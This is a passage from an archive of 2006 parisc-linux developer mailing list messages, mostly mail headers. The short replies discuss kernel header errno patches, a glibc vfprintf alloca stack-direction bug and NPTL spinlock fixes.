	with ESMTP id 16564-08 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 16 Jul 2006 15:38:51 -0600 (MDT)
Original-Received: from smtp.gentoo.org (smtp.gentoo.org [140.211.166.183])
	by free.linux.hp.com (Postfix) with ESMTP id 6DA927D6DA
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 16 Jul 2006 15:38:51 -0600 (MDT)
Original-Received: from home.wh0rd.org (localhost [127.0.0.1])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(No client certificate requested)
	by smtp.gentoo.org (Postfix) with ESMTP id D0C2D64525
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 16 Jul 2006 21:38:49 +0000 (UTC)
Original-Received: (qmail 28987 invoked from network); 16 Jul 2006 17:23:12 -0400
Original-Received: from unknown (HELO vapier) (192.168.0.2)
	by 192.168.0.1 with SMTP; 16 Jul 2006 17:23:12 -0400
User-Agent: KMail/1.9.3
In-Reply-To: <119aab440607151526n1318ba80l2523528ac607eaae@mail.gmail.com>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Mime-version: 1.0
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: womMdasaYmYSn+nCanc3StxKWkZTQdRL
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23821

--===============1014574969==
Content-Type: multipart/signed; boundary="nextPart8813805.KYJ1GKlpJI";
	protocol="application/pgp-signature"; micalg=pgp-sha1
Content-Transfer-Encoding: 7bit

--nextPart8813805.KYJ1GKlpJI
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
Content-Disposition: inline

On Saturday 15 July 2006 18:26, Carlos O'Donell wrote:
> A quick warning, if your kernel headers file unistd.h contain "#define
> PIC" then remove this line. It will cause all sorts of havoc when
> building glibc. It won't be immediately visible when building, and
> infact ld.so can compile quite happily and run with mixed pic non-pic
> code.

i dont use debian, but i assume your headers were trying to work with the f=
act=20
that it does 'extern int errno' which can break in nasty ways when errno.h=
=20
hasnt also been included ?

in Gentoo, we patch our kernel headers like so:
=2Dextern int errno;
+#include <errno.h>
=2Dmike

--nextPart8813805.KYJ1GKlpJI
Content-Type: application/pgp-signature

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.4 (GNU/Linux)

iQIVAwUARLqyJkFjO5/oN/WBAQKrWxAAhfVhCwPTlWZDpNHibkclVaiAGZ+JsMhk
FcUCJMO2T0P/IgddeJzDKHcsrN8ycXdIp1fZfJ6EDS8dC7N1D/emjqfFbxUpXXg2
PHoQ+YIGt8Tv9LY6BfPBcfDEjI15tVumfWCTWnD0fkQQCHtrVeV88sUlppHtkhah
WNovs5S/lKxTIqDTz3KvvpsNuFddCikQm1R5gWp7hzDoNaKATTAPrfwJC+WMl8l6
uTRz1VfgLNNtPFEQpcHjSegsyK8WOoKTv8+WlZv/xOOuO0o7rfqeL+8dgFoLr+hg
mtFuTAcDxhIglsmXVnSA6CqYPr1HniW91+kVcOGdoD5p7XBGd03rRFsFNlzi4j9u
fsHmzdDCpwhZh/GdMjyxp4UVjhNz3eEz2tr6xyb5oK3Twwg9zRmj4WHWMCcNXmvC
3XRKJKdoZ5TLdUqM0gqo9InheXfK+LOC6flKs/h00A7u1TdCAgk0xAEvyVed7xSB
VvfovYZn1ZMAzZijh/t5xiwqvFPUEIT/BoOTYN0befSzzuzJEVSBW8dRJ5uS0Ul8
2BwoLV44IwTPpua6bfBpQaEcWngetR2SSY99pu7AghytD6IDJ76tWmP0OujfHHbU
ivRpMW75Q2FNbMh0U4hmgU/OdZmUkjfXhgUPlJrhKAcdpeegzphDiXzIRYfswwxm
O1tAeDY2lqQ=
=SKo0
-----END PGP SIGNATURE-----

--nextPart8813805.KYJ1GKlpJI--

--===============1014574969==
Content-Type: text/plain; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
--===============1014574969==--



From - Thu Nov 08 21:34:55 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Michael S. Zick" <mszick@morethan.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: Looking at vfprintf.c and alloca.
Date: Tue, 18 Jul 2006 15:11:42 -0500
Lines: 50
Approved: news@gmane.org
Message-ID: <200607181511.42481.mszick@morethan.org>
References: <119aab440607172040gf1209cp52131893cea42460@mail.gmail.com>
	<44BD0369.3090905@tausq.org>
	<119aab440607181230l3abcf965y5afe9fe6901e36d7@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624131 20205 80.91.229.3 (22 Nov 2014 02:42:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:42:11 +0000 (UTC)
Cc: John David Anglin <dave@hiauly1.hia.nrc.ca>,
 parisc-linux <parisc-linux@lists.parisc-linux.org>
To: "Carlos O'Donell" <carlos@systemhalted.org>
Original-X-From: - Wed Jul 02 21:27:33 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 18 Jul 2006 20:12:07 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx071) with SMTP; 18 Jul 2006 22:12:07 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id AF9FC7D721;
	Tue, 18 Jul 2006 14:12:00 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 04416-04; Tue, 18 Jul 2006 14:12:00 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 307247D722;
	Tue, 18 Jul 2006 14:11:59 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 336327D71C
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 18 Jul 2006 14:11:54 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 04416-01 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 18 Jul 2006 14:11:53 -0600 (MDT)
Original-Received: from mx-out.daemonmail.net (mx-out.daemonmail.net [216.104.160.39])
	by free.linux.hp.com (Postfix) with ESMTP id 0F7DA7D719
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 18 Jul 2006 14:11:53 -0600 (MDT)
Original-Received: from localhost.daemonmail.net (localhost.daemonmail.net [127.0.0.1])
	by mx-out.daemonmail.net (8.13.1/8.12.9) with SMTP id k6IKBqGN089169;
	Tue, 18 Jul 2006 13:11:52 -0700 (PDT)
	(envelope-from mszick@morethan.org)
Original-Received: from [67.77.79.13] (via account 126282)
	by mx-out.daemonmail.net with ESMTP id JAN0pET2
	authenticated by SMTP; Tue, 18 Jul 2006 13:11:47 -0700 (PDT)
User-Agent: KMail/1.7.2
In-Reply-To: <119aab440607181230l3abcf965y5afe9fe6901e36d7@mail.gmail.com>
Content-Disposition: inline
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: q3ePdXpoIyd18PqQe2drXIpaa2FkZlWE
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23822

On Tue July 18 2006 14:30, Carlos O'Donell wrote:
> On 7/18/06, Randolph Chung <randolph@tausq.org> wrote:
> > I tried this with both old (gcc-3.[34]) and new gcc (gcc-4.[01]) and i
> > don't think this works....
> >
> > tausq@riot:~$ gcc-4.1 -Wall -o alloca alloca.c; ./alloca
> > ptr = 0xc04ca590
> > old = 0xc04ca3d0
> > &old[100] = 0xc04ca560
> 
> I thought so, if this code is ever execute it will be wrong.
>

I did not look at the original code - just the posted example.

If the library code is depending on an expected difference between
the old and new stack position (other than direction) 
- it will be in trouble.

> 
> I think our tst-printfsz failure is related to this code trying to
> expand the specs and getting the wrong answer.
> 
> Michael, want to write a patch to fix this for glibc? :)
> I'll support you on libc-alpha!
> 

It just so happened that I was compiling glibc and during this exchange
vfprintf.c scrolled by...
I think it set some sort of record for "number of warning messages"

So it needs work.  Probably would be better to give someone else a chance.

Getting -finstrument-functions and the related __builtin_{frame,return}_address()
to work is taking all of my time right now.

> In glibc I don't think the code should be a runtime check at all,
> there are STACK_GROWS_UP macros that should be used.
> 

Sounds reasonable to me.

> c.
Mike
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:55 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: Looking at vfprintf.c and alloca.
Date: Tue, 18 Jul 2006 14:22:30 -0600
Lines: 25
Approved: news@gmane.org
Message-ID: <20060718202230.GA23947@parisc-linux.org>
References: <119aab440607172040gf1209cp52131893cea42460@mail.gmail.com>
	<44BD0369.3090905@tausq.org>
	<119aab440607181230l3abcf965y5afe9fe6901e36d7@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624132 20463 80.91.229.3 (22 Nov 2014 02:42:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:42:12 +0000 (UTC)
Cc: John David Anglin <dave@hiauly1.hia.nrc.ca>,
 parisc-linux <parisc-linux@lists.parisc-linux.org>
To: Carlos O'Donell <carlos@systemhalted.org>
Original-X-From: - Wed Jul 02 21:27:33 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 18 Jul 2006 20:22:44 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx079) with SMTP; 18 Jul 2006 22:22:44 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 4719E7D721;
	Tue, 18 Jul 2006 14:22:37 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 04416-10; Tue, 18 Jul 2006 14:22:37 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id CB9A87D726;
	Tue, 18 Jul 2006 14:22:35 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 51B5B7D71C
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 18 Jul 2006 14:22:32 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 04669-02 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 18 Jul 2006 14:22:31 -0600 (MDT)
Original-Received: from palinux.external.hp.com (palinux.external.hp.com
	[192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 4E69B7D719
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 18 Jul 2006 14:22:31 -0600 (MDT)
Original-Received: by palinux.external.hp.com (Postfix, from userid 26919)
	id 10742494003; Tue, 18 Jul 2006 14:22:30 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <119aab440607181230l3abcf965y5afe9fe6901e36d7@mail.gmail.com>
User-Agent: Mutt/1.5.11+cvs20060403
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: cDLUKzx4MydynYigZWpljJFraGRhZlqm
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23823

On Tue, Jul 18, 2006 at 03:30:40PM -0400, Carlos O'Donell wrote:
> On 7/18/06, Randolph Chung <randolph@tausq.org> wrote:
> >tausq@riot:~$ gcc-4.1 -Wall -o alloca alloca.c; ./alloca
> >ptr = 0xc04ca590
> >old = 0xc04ca3d0
> >&old[100] = 0xc04ca560
> 
> I thought so, if this code is ever execute it will be wrong.
> 
> I think our tst-printfsz failure is related to this code trying to
> expand the specs and getting the wrong answer.
> 
> Michael, want to write a patch to fix this for glibc? :)
> I'll support you on libc-alpha!
> 
> In glibc I don't think the code should be a runtime check at all,
> there are STACK_GROWS_UP macros that should be used.

How about just using min(ptr, old)?  ;-)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:55 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: Looking at vfprintf.c and alloca.
Date: Tue, 18 Jul 2006 16:49:15 -0400
Lines: 16
Approved: news@gmane.org
Message-ID: <119aab440607181349g7eb17c25m5b5aa96a7482d7ba@mail.gmail.com>
References: <119aab440607172040gf1209cp52131893cea42460@mail.gmail.com>
	<44BD0369.3090905@tausq.org>
	<119aab440607181230l3abcf965y5afe9fe6901e36d7@mail.gmail.com>
	<20060718202230.GA23947@parisc-linux.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=ISO-8859-1;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624132 20466 80.91.229.3 (22 Nov 2014 02:42:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:42:12 +0000 (UTC)
Cc: John David Anglin <dave@hiauly1.hia.nrc.ca>,
 parisc-linux <parisc-linux@lists.parisc-linux.org>
To: "Matthew Wilcox" <matthew@wil.cx>
Original-X-From: - Wed Jul 02 21:27:33 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 18 Jul 2006 20:49:31 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx084) with SMTP; 18 Jul 2006 22:49:31 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id C27157D735;
	Tue, 18 Jul 2006 14:49:23 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 04801-10; Tue, 18 Jul 2006 14:49:23 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id E39F37D72E;
	Tue, 18 Jul 2006 14:49:22 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id D3F317D726
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 18 Jul 2006 14:49:18 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 04898-02 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 18 Jul 2006 14:49:17 -0600 (MDT)
Original-Received: from ug-out-1314.google.com (ug-out-1314.google.com [66.249.92.175])
	by free.linux.hp.com (Postfix) with ESMTP id 7FA4C7D724
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 18 Jul 2006 14:49:17 -0600 (MDT)
Original-Received: by ug-out-1314.google.com with SMTP id k3so579436ugf
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 18 Jul 2006 13:49:16 -0700 (PDT)
DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com;
	h=received:message-id:date:from:sender:to:subject:cc:in-reply-to:mime-version:content-type:content-transfer-encoding:content-disposition:references:x-google-sender-auth;
	b=RgGZ5532FZ/2dZ3GE+cQTtDiIvD8d4rNqETlGCf7GgGSr209vdGxXKag7G8dnDpLvMAIwfrzHWGAiy7+nbQqN8ajiq6EcnAr7s+Qtq1dwS8PwsNUOcHBRQgp9VkjZkr+vNzB+qA3Et3jy+jtt+8coK9BWvlFYdDP5wZ5zFv25Sg=
Original-Received: by 10.78.195.9 with SMTP id s9mr1752323huf;
	Tue, 18 Jul 2006 13:49:16 -0700 (PDT)
Original-Received: by 10.78.141.1 with HTTP; Tue, 18 Jul 2006 13:49:15 -0700 (PDT)
In-Reply-To: <20060718202230.GA23947@parisc-linux.org>
Content-Disposition: inline
X-Google-Sender-Auth: f1832801c23d5b1d
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: bn+IdUZwbUko7+nGPWgnRF1kZ2hlN4oe
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23824

On 7/18/06, Matthew Wilcox <matthew@wil.cx> wrote:
> > In glibc I don't think the code should be a runtime check at all,
> > there are STACK_GROWS_UP macros that should be used.
>
> How about just using min(ptr, old)?  ;-)

You're almost there Matthew, just a little more, and I'll be able to
list your name in the libc-ports ChangeLogs :-)

c.
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:55 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] NPTL fixes.
Date: Tue, 18 Jul 2006 18:47:40 -0400
Lines: 14
Approved: news@gmane.org
Message-ID: <119aab440607181547v383ed926ic3420c7865846361@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=ISO-8859-1;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624132 20467 80.91.229.3 (22 Nov 2014 02:42:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:42:12 +0000 (UTC)
To: parisc-linux <parisc-linux@lists.parisc-linux.org>,
 "Randolph Chung" <randolph@tausq.org>,
 "Jeff Bailey" <jbailey@raspberryginger.com>
Original-X-From: - Wed Jul 02 21:27:33 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 18 Jul 2006 22:47:52 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx028) with SMTP; 19 Jul 2006 00:47:52 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id E88BD7D731;
	Tue, 18 Jul 2006 16:47:45 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 05254-09; Tue, 18 Jul 2006 16:47:45 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 169437D734;
	Tue, 18 Jul 2006 16:47:45 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 82D4F7D730
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 18 Jul 2006 16:47:42 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 05124-10 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 18 Jul 2006 16:47:41 -0600 (MDT)
Original-Received: from ug-out-1314.google.com (ug-out-1314.google.com [66.249.92.175])
	by free.linux.hp.com (Postfix) with ESMTP id 2FA9E7D72E
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 18 Jul 2006 16:47:41 -0600 (MDT)
Original-Received: by ug-out-1314.google.com with SMTP id k3so43975ugf
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 18 Jul 2006 15:47:40 -0700 (PDT)
DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com;
	h=received:message-id:date:from:sender:to:subject:mime-version:content-type:content-transfer-encoding:content-disposition:x-google-sender-auth;
	b=UtQOu6yrp7J1NryDDZ+gs0kEc3YsYliWecB+I4lNWiyfrWlyxCRiG+hNVPbj8PsybIdMDBhDUnABVeP2blJxmT+6/rmj5HnrrxpBdVmMv6iRU5IwJZ1gy2uh5NEx8bITa496nFYaL3oHhNCPH66UGvbrmqlsCly5ijALBYnb4Ek=
Original-Received: by 10.78.139.5 with SMTP id m5mr35375hud;
	Tue, 18 Jul 2006 15:47:40 -0700 (PDT)
Original-Received: by 10.78.141.1 with HTTP; Tue, 18 Jul 2006 15:47:40 -0700 (PDT)
Content-Disposition: inline
X-Google-Sender-Auth: 1b0571069a382f1e
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: KFyOfAYsMmApvrSZZGFnAfkxMjQ1N93I
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23825

I fixed these spinlock failures by correcting the atomic operation
parameter order.

Update CVS!

Next on my list are the mutex failures.

c.
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:55 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Michael S. Zick" <mszick@morethan.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: Looking at vfprintf.c and alloca.
Date: Wed, 19 Jul 2006 10:22:44 -0500
Lines: 75
Approved: news@gmane.org
Message-ID: <200607191022.45082.mszick@morethan.org>
References: <200607190248.k6J2mlLd015855@hiauly1.hia.nrc.ca>
	<44BDA13F.6040706@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624133 20469 80.91.229.3 (22 Nov 2014 02:42:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
